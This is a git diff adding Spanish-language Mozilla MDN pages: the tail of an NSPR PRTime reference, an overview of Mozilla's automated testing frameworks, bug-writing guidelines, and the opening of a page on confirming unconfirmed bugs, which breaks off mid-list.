+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Finding_Symbols_Defined_in_the_Main_Executable_Program">Finding Symbols Defined in the Main Executable Program</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Platform_Notes">Platform Notes</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Dynamic_Library_Search_Path">Dynamic Library Search Path</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Dynamic_Library_Linking#Exporting_Symbols_from_the_Main_Executable_Program">Exporting Symbols from the Main Executable Program</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Process Management and Interprocess Communication</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Management_and_Interprocess_Communication#Process_Management_Types_and_Constants">Process Management Types and Constants</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRProcess">PRProcess</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRProcessAttr">PRProcessAttr</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/es/docs/Mozilla/Projects/NSPR/Reference/Process_Management_and_Interprocess_Communication#Process_Management_Functions">Process Management Functions</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Management_and_Interprocess_Communication#Setting_the_Attributes_of_a_New_Process">Setting the Attributes of a New Process</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Process_Management_and_Interprocess_Communication#Creating_and_Managing_Processes">Creating and Managing Processes</a></li>
+          </ol>
+        </li>
+      </ol>
+    </details>
+  </li>
+  <li class="toggle">
+    <details>
+      <summary>Logging</summary>
+      <ol>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Logging#Conditional_Compilation_and_Execution">Conditional Compilation and Execution</a></li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Logging#Log_Types_and_Variables">Log Types and Variables</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRLogModoleInfo">PRLogModoleInfo</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PRLogModoleLevel">PRLogModoleLevel</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_LOG_MODULES">NSPR_LOG_MODULES</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_LOG_FILE">NSPR_LOG_FILE</a></li>
+          </ol>
+        </li>
+        <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Logging#Logging_Functions_and_Macros">Logging Functions and Macros</a>
+          <ol>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_NewLogModole">PR_NewLogModole</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_SetLogFile">PR_SetLogFile</a></li>
+            <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_SetLogBuffering">PR_SetLogBuffering</a>/li&gt;
+              </li><li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LogPrint">PR_LogPrint</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LogFlush">PR_LogFlush</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LOG_TEST">PR_LOG_TEST</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_LOG">PR_LOG</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_Assert_">PR_Assert</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_ASSERT">PR_ASSERT</a></li>
+              <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/PR_NOT_REACHED">PR_NOT_REACHED</a></li>
+            </ol>
+          </li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Logging#Use_Example">Use Example</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Named Shared Memory</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Named_Shared_Memory#Shared_Memory_Protocol">Shared Memory Protocol</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Named_Shared_Memory#Named_Shared_Memory_Functions">Named Shared Memory Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Anonymous Shared Memory</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Anonymous_Shared_Memory#Anonymous_Memory_Protocol">Anonymous Memory Protocol</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Anonymous_Shared_Memory#Anonymous_Shared_Memory_Functions">Anonymous Shared Memory Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>IPC Semaphores</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/IPC_Semaphores#IPC_Semaphore_Functions">IPC Semaphore Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Thread Pools</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Thread_Pools#Thread_Pool_Types">Thread Pool Types</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Thread_Pools#Thread_Pool_Functions">Thread Pool Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Random Number Generator</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Random_Number_Generator#Random_Number_Generator_Function">Random Number Generator Function</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Hash Tables</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Hash_Tables#Hash_Tables_and_Type_Constants">Hash Tables and Type Constants</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/Hash_Tables#Hash_Table_Functions">Hash Table Functions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>NSPR Error Handling</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Type">Error Type</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Functions">Error Functions</a></li>
+          <li><a href="/es/docs/Mozilla/Projects/NSPR/Reference/NSPR_Error_Handling#Error_Codes">Error Codes</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Contribute</summary>
+        <ol>
+          <li><a href="/es/docs/MDN/Doc_status/NSPR"></a></li>
+          <li><a href="/es/docs/MDN">The MDN Project</a></li>
+        </ol>
+      </details>
+    </li>
+  </ol>
+</section>
+<p>Una representación de tiempos absolutos.
+</p>
+<h3 id="Sintaxis">Sintaxis</h3>
+<pre class="eval"> #include &lt;prtime.h&gt;
+
+ typedef PRInt64 PRTime;
+</pre>
+<h3 id="Descripción">Descripción</h3>
+<p>Este tipo es un entero de 64 bits que representa la cantidad de micro segundos desde la época NSPR, medianoche (00:00:00) del 1 de Enero de 1970 UTC (Coordinated Universal Time). El tiempo despues de esa época, tiene un valor positivo y un tiempo anterior tiene valor negativo. </p><p>En NSPR usamos más familiarmente, la expresión GMT (Greenwich Mean Time) en lugar de UTC. Aunque UTC y GMT no son exactamente lo mismo en una definición extricta, pueden ser usados generalmente como equivalentes.
+</p><p>Ya que <code>PRTime</code> es un entero de 64 bits, debes usar las macros LL definidas en &lt;tt&gt;prlong.h&lt;/tt&gt; para manipular los valores de <code>PRTime</code>. (Ver <a href="es/NSPR_API_Reference/Long_Long_(64-bit)_Integers">Chapter 18 "Long Long (64-bit) Integers</a>)".
+</p>
+<div class="note"><b>Nota:</b> Recuerda que mientras <code>PRTime</code> almacena el valor de micro segundos de la época, las fechas en JavaScript almacenan el valor en segundos de la época.</div>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/pruebas_automatizadas_de_mozilla/index.html b/files/es/pruebas_automatizadas_de_mozilla/index.html
new file mode 100644
index 0000000000..43215322de
--- /dev/null
+++ b/files/es/pruebas_automatizadas_de_mozilla/index.html
@@ -0,0 +1,51 @@
+---
+title: Pruebas automatizadas de Mozilla
+slug: Pruebas_automatizadas_de_Mozilla
+tags:
+  - Desarrollando_Mozilla
+  - NecesitaRevisiónGramatical
+  - NecesitaRevisiónTécnica
+  - Pruebas_automatizadas
+  - Todas_las_Categorías
+translation_of: Mozilla/QA/Automated_testing
+---
+<p> </p>
+<p>Esta página proporciona un compendio de opciones para pruebas automatizadas disponibles para los desarrolladores de Mozilla.</p>
+<p>La mayoría de las pruebas automatizadas deberían ejecutarse sobre <code>make check</code>. <a href="/es/Cómo_añadir_una_prueba_en_el_momento_de_compilar" title="es/Cómo_añadir_una_prueba_en_el_momento_de_compilar">Cómo añadir una prueba en el momento de compilar</a> describe los pasos requeridos para añadir un programa de pruebas arbitrario al conjunto de tests. Dependiendo de lo que se necesite probar, puede usarse uno de los siguientes <em>frameworks</em> disponibles:</p>
+<h3 id="Pruebas_unitarias" name="Pruebas_unitarias">Pruebas unitarias</h3>
+<h4 id="xpcshell:_make_check" name="xpcshell:_make_check">xpcshell: make check</h4>
+<p>Con <a href="/es/Escribir_pruebas_unitarias_basadas_en_xpcshell" title="es/Escribir_pruebas_unitarias_basadas_en_xpcshell">las ayudas para pruebas de xpcshell</a> escribes pruebas unitarias en JavaScript. El código se ejecutará más tarde en <a href="/es/Xpcshell" title="es/Xpcshell">xpcshell</a>, que es una consola JS con capacidad para <a href="/es/XPConnect" title="es/XPConnect">XPConnect</a>. Esto significa que tu código puede acceder a componentes XPCOM, pero no puede (fácilmente) abrir ventanas, probar el chrome de la aplicación, trabajar con el analizador HTML o usar DOM.</p>
+<p>Hay disponible un <a href="/es/Servidor_HTTP_para_pruebas_unitarias" title="es/Servidor_HTTP_para_pruebas_unitarias">servidor HTTP</a> sencillo para su uso desde los tests xpcshell.</p>
+<h4 id="Pruebas_mediante_c.C3.B3digo_compilado" name="Pruebas_mediante_c.C3.B3digo_compilado">Pruebas mediante código compilado</h4>
+<p>Las funcionalidades no susceptibles de ser usadas en scripts y otras similares requieren que se escriban pruebas en C++ para ejecutar la funcionalidad. A pesar de las apariencias, existen muy pocas pruebas de esta naturaleza en el repositorio en este momento. Aunque en realidad hay muchas pruebas así (mira los contenidos de {{ Source("xpcom/tests") }} para ver muchos ejemplos), muchas de ellas sólo pueden ejecutarse manualmente, la mayoría devuelven fallos usando mensajes personalizados directamente a la consola (y, por tanto, no se puede revisar automáticamente si se han ejecutado correctamente), y muchas no se compilan correctamente o contienen numerosos errores.</p>
+<p>A pesar de todo ello, se han escrito algunas pruebas en C++ que pueden ser ejecutadas automáticamente detectando los fallos. El mejor ejemplo actual en términos de facilidad de autoría es {{ Source("xpcom/tests/TestPipe.cpp") }}, que usa una cabecera especial de apoyo a pruebas dirigida a facilitar la escritura de tales pruebas. Mira <a href="/es/Compiled-code_automated_tests" title="es/Compiled-code_automated_tests">Compiled-code automated tests</a> para obtener detalles.</p>
+<p>Escribir una prueba en C++ es más difícil que escribir una prueba en xpcshell, y el código es más difícil de mantener y modificar. <strong>¡No escribas pruebas en código compilado si no es necesario!</strong> Deberías usar estas pruebas únicamente cuando la funcionalidad a probar depende de interfaces, métodos o propiedades que no se pueden llamar desde scripts.</p>
+<h3 id="Pruebas_gr.C3.A1ficas_y.2Fo_interactivas" name="Pruebas_gr.C3.A1ficas_y.2Fo_interactivas">Pruebas gráficas y/o interactivas</h3>
+<h4 id="Mochitest" name="Mochitest">Mochitest</h4>
+<p><a href="/es/Mochitest" title="es/Mochitest">Mochitest</a> es un <em>framework</em> basado en <a class="external" href="http://mochikit.com/">Mochikit</a> para escribir pruebas. Las pruebas se ejecutan en el navegador, desde un servidor web local (proporcionado por Mochitest). Los <em>scripts</em> de inicio que lo acompañan conceden diversos privilegios a localhost (crea un nuevo perfil en cada ejecución). Como resultado, las pruebas unitarias son libres de solicitar privilegios UniversalXPConnect (acceso a componentes XPCOM), abrir ventanas emergentes, etc. Mochitest es una buena solución si realmente necesitas un navegador completo para probar un problema. Por ejemplo, un test reciente verifica que el envío de formularios funciona en iframes fijados a <code>display:none</code>. Hay una <a href="/es/Mochitest#FAQ" title="es/Mochitest#FAQ">FAQ de Mochitest</a>.</p>
+<h4 id="Pruebas_chrome_del_navegador" name="Pruebas_chrome_del_navegador">Pruebas chrome del navegador</h4>
+<p>Las <a href="/es/Pruebas_chrome_del_navegador" title="es/Pruebas_chrome_del_navegador">pruebas chrome del navegador</a> están pensadas para usarse probando el código "chrome" de la interfaz, y otras características susceptibles de ser probadas desde el código JavaScript de chrome. Consisten en pequeños bloques de código JavaScript que se ejecutan en el ámbito de la ventana del navegador.</p>
+<h4 id="Reftest" name="Reftest">Reftest</h4>
+<p>{{ Source("layout/tools/reftest/README.txt", "Tests visuales del motor de dibujado (reftest)") }}. Cada test consiste normalmente en dos archivos - uno de ellos contiene un conjunto de etiquetas de prueba y el otro normalmente contiene un conjunto de etiquetas de referencia (aunque también es posible usar un PNG estático si se desea). El sistema trabaja comparando el renderizado de los dos archivos.</p>
+<p>reftest se compila e instala ahora automáticamente cuando <code>ENABLE_TESTS</code> está activado (valor predeterminado) y hay pruebas de ejemplo en {{ Source("layout/reftests") }}.</p>
+<p>Para ejecutar todos estos tests, escribe:</p>
+<p><code>obj-debug/dist/MinefieldDebug.app/Contents/MacOS/firefox -reftest layout/reftests/reftest.list</code></p>
+<p>(Se supone que "make lcheck" debe hacer esto por ti, pero actualmente no funciona).</p>
+<p>Puedes buscar entre los resultados (usando "grep") la cadena "UNEXPECTED" o ejecutar una de las herramientas de procesado de salida de reftest listadas en el README.</p>
+<p>Puede que quieras usar un perfil separado para ejecutar los tests (creando un perfil llamado "reftests" y añadiendo <code>-P reftests</code> a la línea que invoca la aplicación).</p>
+<p>Para más información, acude a {{ Source("layout/tools/reftest/README.txt", "") }} y <a href="/es/Crear_pruebas_unitarias_basadas_en_reftest" title="es/Crear_pruebas_unitarias_basadas_en_reftest">el tutorial sobre cómo crear un test basado en reftest</a>.</p>
+<h4 id="Crash_tests" name="Crash_tests">Crash tests</h4>
+<p>El <em>framework</em> para pruebas de fallos está basado en el <em>framework</em> reftest, por lo que escribir y ejecutar pruebas es muy parecido. Cada test es un solo archivo y la prueba funciona cargando el archivo y ejecutándolo sin detener el programa ni lanzar aserciones (el <em>framework</em> no vigila explícitamente las aserciones en este momento, necesitarás hacer grep para localizarlas en la salida).</p>
+<p>Para ejecutar todas las pruebas de fallos, escribe</p>
+<p><code>obj-debug/dist/MinefieldDebug.app/Contents/MacOS/firefox -reftest testing/crashtest/crashtests.list</code></p>
+<h3 id="Otra_documentaci.C3.B3n_de_referencia" name="Otra_documentaci.C3.B3n_de_referencia">Otra documentación de referencia</h3>
+<p>Por favor, ignora la página {{ interwiki('wikimo', 'SoftwareTesting:Scratchpad', 'wikimo:SoftwareTesting:Scratchpad') }}, y mira únicamente {{ interwiki('wikimo', 'SoftwareTesting', 'wikimo:SoftwareTesting') }}. La pizarra (<em>Scratchpad</em>) es para trabajos en curso, y casi con toda seguridad estará obsoleta o tendrá documentación errónea.</p>
+<p>También está {{ interwiki('wikimo', 'SoftwareTesting', 'wikimo:SoftwareTesting') }} y <a href="/es/Consejos_y_trucos_para_pruebas_automatizadas" title="es/Consejos_y_trucos_para_pruebas_automatizadas">Consejos y trucos para pruebas automatizadas</a> si estás buscando algo que leer.</p>
+<p>Estos otros esfuerzos están en curso:</p>
+<ul> <li>Puedes escribir programas de prueba independientes en C/C++. Esta opción puede usarse para probar funcionalidades no expuestas a través de XPCOM. <ul> <li><em>{{ Bug(343673) }} registra el trabajo de una persona, y parece que ha habido ciertos progresos</em>.</li> <li><em>{{ Bug(346703) }} contiene un ejemplo de cómo puede hacerse esto</em>.</li> </ul> </li> <li><a class="external" href="http://www.jsunit.net/">JSUnit</a> puede usarse para escribir pruebas que se ejecutan como contenido en el navegador. Es especialmente útil para tests DOM y del analizador sintáctico, pero no puede hacer nada que requiera privilegios chrome. <ul> <li>JsUnit probablemente no pueda usarse como un objetivo de compilación para make check de momento, ya que necesita una instancia completa de un navegador.</li> <li>{{ interwiki('wikimo', 'SoftwareTesting#Ideas to Collect', 'wikimo:SoftwareTesting#Ideas_to_Collect') }} lista algunos ejemplos de jsunit.</li> <li>Remítete a la documentación en {{ interwiki('wikimo', 'SoftwareTesting:Tools:jsUnit', 'wikimo:SoftwareTesting:Tools:jsUnit') }} para más información.</li> <li>Algunos <a class="external" href="http://beaufour.dk/xftst/">tests de XForms</a> usan JsUnit, a modo de ejemplo.</li> </ul> </li>
+</ul>
+<h3 id="Utilidades_y_frameworks_existentes_para_pruebas" name="Utilidades_y_frameworks_existentes_para_pruebas">Utilidades y <em>frameworks</em> existentes para pruebas</h3>
+<p>(originalmente de {{ interwiki('wikimo', 'SoftwareTesting:Catalog_of_Automated_Tests', 'wikimo:SoftwareTesting:Catalog_of_Automated_Tests') }})</p>
+<ul> <li><a class="external" href="http://wiki.mozilla.org/Performance:Tinderbox_Tests">Pruebas de rendimiento de Tinderbox</a></li> <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/browser/components/places/tests/">Scripts de pruebas de Places</a></li> <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/netwerk/test/unit/">Pruebas unitarias de Netwerk</a></li> <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/js/tests/">Pruebas de javascript</a></li> <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/security/nss/tests/">Pruebas de nss</a></li> <li><a class="external" href="http://landfill.mozilla.org/mxr-test/mozilla/source/nsprpub/pr/tests/">Pruebas de nspr</a></li> <li><a class="external" href="http://www.mozilla.org/newlayout/doc/regression_tests.html">Pruebas de posicionamiento (<em>layout</em>) - diferencias entre la salida de una versión de prueba y otra de referencia considerada correcta (<em>golden master</em>)</a></li> <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=301260">copia en bz de los tests de netwerk para xmlserializer</a></li> <li><a class="external" href="http://www.w3.org/DOM/Test/">Los tests de W3C DOM</a> usan <a class="external" href="http://www.edwardh.com/jsunit/">jsunit</a></li> <li><a class="external" href="http://wiki.mozilla.org/XSLT_Tests">Tests de XSLT</a></li> <li><a class=" external" href="http://hixie.ch/tests/MANIFEST">http://hixie.ch/tests/MANIFEST</a> todos los tests de hixie</li> <li><a class=" external" href="http://hixie.ch/tests/MANIFEST-visual">http://hixie.ch/tests/MANIFEST-visual</a> subconjunto de tests de hixie que no es interactivo</li> <li><a class="external" href="http://www.allpeers.com/blog/2005/09/28/foxunit-unit-test-framework-for-firefox/">FoxUnit</a> - utilidad al estilo jUnit para firefox, por la gente de AllPeers</li>
+</ul>
+<p>{{ languages( { "en": "en/Mozilla_automated_testing" } ) }}</p>
diff --git a/files/es/qa/bug_writing_guidelines/index.html b/files/es/qa/bug_writing_guidelines/index.html
new file mode 100644
index 0000000000..94641c4a09
--- /dev/null
+++ b/files/es/qa/bug_writing_guidelines/index.html
@@ -0,0 +1,111 @@
+---
+title: Guía para escribir un Bug
+slug: QA/Bug_writing_guidelines
+translation_of: Mozilla/QA/Bug_writing_guidelines
+---
+<div class="note">
+<p><strong>Si necesitas ayuda con algún software de Mozilla (por ejemplo con Firefox, Seamonkey o Thunderbird), usa una de las <a href="http://www.mozilla.org/support/">opciones disponibles de ayuda</a>. ¡No modifiques esta página! Por favor, lee esta página para aprender como reportar un bug usando <a class="link-https" href="https://bugzilla.mozilla.org/">Bugzilla</a>, que es el sistema de seguimiento de bugs de Mozilla.</strong></p>
+
+<p>Si eres nuevo reportando bugs, puede ser que quieras intentar obtener ayuda de los colaboradores más experimentados. Vaya a la seccion de la comunidad en la página <a href="/es/docs/QA">QA</a> para consejos. Si vas a reportar un bug en Firefox, también puedes obtener asitencia en el canal <span style="font-family: monospace;">#firefox</span> en <a href="http://irc.mozilla.org/">irc.mozilla.org</a>.</p>
+
+<p>Ver también <a class="link-https" href="https://quality.mozilla.org/docs/bugzilla/starter-kit/how-to-write-a-proper-bug/">Cómo escribir un bug apropiadamente</a>.</p>
+</div>
+
+<p>Los reportes efectivos de bugs son los que más probablemente se resolverán. Estos lineamientos explican como escribir reportes efectivos.</p>
+
+<h2 id="Preliminares">Preliminares</h2>
+
+<ol>
+ <li>Asegúrate de que tu software está actualizado
+  <ul>
+   <li>Idealmente, haz las pruebas en las versiones en desarrollo para ver si tu bug ya ha sido solucionado. (Léase <a href="http://www.mozilla.com/en-US/firefox/channel/">Firefox Beta, Aurora</a>, o si estás a la última con <a class="link-https" href="https://nightly.mozilla.org/">Nightly</a>).</li>
+   <li>Si se reproduce de manera ocaciona, pero no después de seguir pasos especificos, debe proveer información adicional que sea util para el bug.</li>
+   <li>Si no puede reproducir el problema, es probable que no lo reporte, excepto que provea la información acerca de lo ocurrido.</li>
+  </ul>
+ </li>
+ <li>Haz una búsqueda en <a class="link-https" href="https://bugzilla.mozilla.org/">Bugzilla</a> para ver si tu bug ya ha sido reportado (<a href="http://www.mozilla.org/quality/help/screening-duplicates.html">tutorial</a>).</li>
+ <li>Abre el formulario para <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?format=guided">Reportar un nuevo bug</a>, el cual te guiará a través de la mayoría del proceso de reporte del bug.
+  <ul>
+   <li>Si tienes varias cuestiones, llena reportes por separado.</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="Escribir_pasos_precisos_para_reproducir">Escribir pasos precisos para reproducir</h2>
+
+<p><strong>¿Cómo puede el desarrollador reproducir el bug en su propia computadora?</strong></p>
+
+<p>Los pasos para reproducir un bug son <strong>la parte más importante de cualquier reporte</strong>. Si el desarrollador está listo para reproducir el bug, el bug es muy probable que sea corregido. Si este paso no está tan claro, no será posible saber si el bug ha sido corregido.</p>
+
+<p>Describe tu método de interacción con Firefox  además de la atención de cada paso.</p>
+
+<ul>
+ <li>Impreciso: "Abrir Gmail en otra ventana".</li>
+ <li>Preciso: "Presiona Cmd+N para abrir una nueva ventana en el navegador, luego escriba <a class="link-https" href="https://mail.google.com/" rel="freelink">https://mail.google.com/</a> en la barra de direcciones y presione Enter".</li>
+</ul>
+
+<p>Después de tus pasos, describe con precisión los resultados observados y el resultado esperado. Hechos claramente separados (observaciones) de especulaciones.</p>
+
+<ul>
+ <li>Impreciso: "Esto no trabaja"</li>
+ <li>
+  <p>Preciso: "En lugar de mostrar mi bandeja de entrada, se muestra el mensaje 'Tu navegador no soporta cookies (error -91)'."</p>
+ </li>
+</ul>
+
+<p>Si el bug parece enorme, podría ser algo inusual en la configuración necesaria de los pasos para reproducir el bug. Ver si puedes reproducir el bug en un <a href="http://support.mozilla.com/en-US/kb/Managing-profiles">nuevo perfil Firefox</a>. Si el bug solo sucede en tu perfil existente, trata de averiguar que ajustes, extensiones, o <a href="http://support.mozilla.com/en-US/kb/Profiles">archivos en tu perfil</a> se necesitan para reproducir el bug.</p>
+
+<ul>
+ <li><a href="http://www.chiark.greenend.org.uk/~sgtatham/bugs.html#intermittent">Que pasa si mi bug aparece "aleatoriamente" o "intermitente"?</a></li>
+</ul>
+
+<h2 id="Escribiendo_un_resumen_claro"><strong>Escribiendo un resumen claro</strong></h2>
+
+<p>¿Cómo describirías el bug utilizando aproximadamente 10 palabras? Esta es la primera parte de tu reporte que un triager o desarrollador verá.</p>
+
+<p>Un buen resumen podría rápida y únicamente identificar un reporte. Esto debe exponer el problema, no tu solución sugerida.</p>
+
+<ul>
+ <li>Bien: "Cancelando el diálogo de copia de archivo falla el Administrador de Archivos"</li>
+ <li>Mal: "Falla en el software"</li>
+</ul>
+
+<ul>
+ <li>Bien: "El desplazamiento con la flecha abajo no trabaja en  &lt;textarea&gt; con estilo overflow:hidden"</li>
+ <li>Mal: "El navegador debería trabajar con mi sitio web"</li>
+</ul>
+
+<h2 id="Finding_the_correct_product_and_component" name="Finding_the_correct_product_and_component"><strong style="font-weight: bold;">Encontrando el producto y componente correcto</strong></h2>
+
+<p>Se te pedirá que categorices tu bug en un "producto" y un  "componente" dentro de ese producto, con el fin de dirigir tu reporte a los desarrolladores correctos.</p>
+
+<p>Si estás usando Firefox, el bug es más probable en "Firefox", "Toolkit", o "Core".</p>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Firefox">Lista de componentes en el producto "Firefox"</a>  La mayoría de partes de Firefox con los que interactuas directamente</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Toolkit">List of components in the "Toolkit" product</a> - Interface widgets and some frontend features</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/describecomponents.cgi?product=Core">List of components in the "Core" product</a> - Web page rendering, networking, etc.</li>
+</ul>
+
+<p>En caso de duda, se deben buscar errores similares y ver en qué componente están.</p>
+
+<p>Si ninguno de los componentes parece apropiado, busca un componente "General" en el producto más apropiado.</p>
+
+<h2 id="Bugs_específicos">Bugs específicos</h2>
+
+<p>Si reporta de un <strong>bloqueo</strong>, porfavor <a href="https://wiki.developer.mozilla.org/es/docs/Mozilla/como_obtener_un_seguimiento_de_pila_para_un_informe_de_error">incluir el ID de Breakpad o adjunte el seguimiento de la pila</a> e incluya la firma del bloqueo en el resumen del bug.</p>
+
+<p>If you are reporting a <strong>memory use or leak bug</strong>, please attach the output of about:memory (Firefox 6+). Ideally, find steps to reproduce an increase in what is shown in about:memory (even after clicking the "Minimize memory usage" button at the bottom). If you have trouble finding steps to reproduce, try the Firefox Support page titled <a href="http://support.mozilla.com/en-US/kb/High%20memory%20usage">High Memory Usage</a>. If you are a C++ developer, <a class="link-https" href="https://wiki.mozilla.org/Performance:Leak_Tools">more precise tools are available</a>.</p>
+
+<p>If you are reporting a <strong>bug involving a specific web page</strong>, please try to make a <a href="/en-US/docs/Reducing_testcases">reduced testcase</a> and attach it to the bug report.</p>
+
+<p>If the bug was <strong>recently introduced</strong>, finding a <a href="http://quality.mozilla.org/docs/bugzilla/guide-to-triaging-bugs-for-firefox/finding-a-regression-window/">regression window</a> can help identify the cause of the bug.</p>
+
+<div class="originaldocinfo">
+<h2 id="Original_document_information">Original document information</h2>
+
+<ul>
+ <li>Author(s): Jesse Ruderman, Gervase Markham</li>
+ <li>Other Contributors: Eli Goldberg, Claudius Gayle, Jan Leger, Felix Miata, Peter Mock, Chris Pratt, Chris Yeh, and others.</li>
+</ul>
+</div>
diff --git a/files/es/qa/confirming_unconfirmed_bugs/index.html b/files/es/qa/confirming_unconfirmed_bugs/index.html
new file mode 100644
index 0000000000..deb06950b6
--- /dev/null
+++ b/files/es/qa/confirming_unconfirmed_bugs/index.html
@@ -0,0 +1,44 @@
+---
+title: Confirmando bugs sin confirmar
+slug: QA/Confirming_unconfirmed_bugs
+translation_of: Mozilla/QA/Confirming_unconfirmed_bugs
+---
+<p>Los bugs que son de nuevos reporteros van a estar inicialmente marcados como SIN CONFIRMAR. Para cambiar un bug de SIN CONFIRMAR a NUEVO, necesitaremos tu ayuda para verificar si este es válido. Un bug puede ser movido de SIN CONFIRMAR a NUEVO si:</p>
+<ul>
+ <li>Está bien reportado, según los <a href="/En/Bug_writing_guidelines" title="En/Bug writing guidelines">Lineamientos para la Redacción de Bugs</a>.</li>
+ <li>Es reportado sobre una versión actual (versión fechada en las últimas tres semanas).</li>
+ <li>No es una copia de uno de los Bugs <a class="link-https" href="https://bugzilla.mozilla.org/duplicates.cgi">Frecuentemente Reportados</a>.</li>
+</ul>
+<p>Nota: No es necesario que puedas reproducir el bug para poder confirmarlo.</p>
+<p>Para ayudar a confirmar bugs, tienes que hacer lo siguiente:</p>
+<h2 id="Get_Set_Up" name="Get_Set_Up">Consigue configurar</h2>
+<ul>
+ <li>Descarga la <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/">Última Versión de Firefox </a>. </li>
+ <li>Revisa una de las siguientes listas de bugs SIN CONFIRMAR-  <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_severity=blocker;bug_severity=critical;bug_severity=major;resolution=---;op_sys=Linux;query_format=advanced;bug_status=UNCONFIRMED;product=Firefox;list_id=3438245" title="https://bugzilla.mozilla.org/buglist.cgi?bug_severity=blocker;bug_severity=critical;bug_severity=major;resolution=---;op_sys=Linux;query_format=advanced;bug_status=UNCONFIRMED;product=Firefox;list_id=3438245">Sólo Linux</a> - <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;rep_platform=Macintosh&amp;op_sys=Mac+OS+X&amp;product=suite,firefox,thunderbird,toolkit,core">Sólo PPC Mac </a>-  <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=UNCONFIRMED&amp;rep_platform=PC&amp;op_sys=Mac+OS+X&amp;product=suite,firefox,thunderbird,toolkit,core">Sólo Intel Mac</a> - <a class="link-https" 